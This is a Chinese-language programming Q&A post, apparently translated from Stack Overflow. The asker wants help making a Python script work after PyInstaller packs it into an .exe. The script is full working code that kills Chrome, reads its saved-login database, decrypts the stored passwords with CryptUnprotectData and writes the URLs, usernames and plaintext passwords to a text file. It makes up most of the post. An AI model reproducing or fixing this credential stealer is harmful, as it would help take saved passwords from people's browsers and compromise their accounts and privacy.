python - 无法将脚本作为 .exe 运行,但它作为 py 文件正常运行
问题描述
我下载了 pyinstaller 以便将我的 python 脚本转换为可执行程序。当我将我的代码作为 python 文件运行时,第三行只有一个错误import win32crypt
,它显示了这一点'error unresolved import 'win32crypt'
,但它工作正常。但是当我将脚本转换为应用程序(.exe 文件)时它不起作用(没有任何错误消息)。我的脚本是从 Google Chrome 电子邮件/密码复制的,然后将这些信息粘贴到 txt 文件中。
我已经使用以下命令从控制台安装了 pywin32:pip install pywin32
.\
这是我的代码。
import os
import sqlite3
import win32crypt
f= open("logins.txt","w")
def closeChrome():
os.system("taskkill /im chrome.exe /f")
def connectDb():
dBpath=os.path.expanduser("~")+r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
connectionObj=sqlite3.connect(dBpath)
cursorObj=connectionObj.cursor()
statement="SELECT origin_url,username_value,password_value FROM logins"
cursorObj.execute(statement)
data=cursorObj.fetchall()
for url,username,password in data:
password=win32crypt.CryptUnprotectData(password)
f.write(f"url: {url}, username: {username}, password: {password[1].decode('utf-8')}\n")
print(f"url: {url}, username: {username}, password: {password[1].decode('utf-8')}\n")
print(".................................")
closeChrome()
connectDb()
谢谢 :)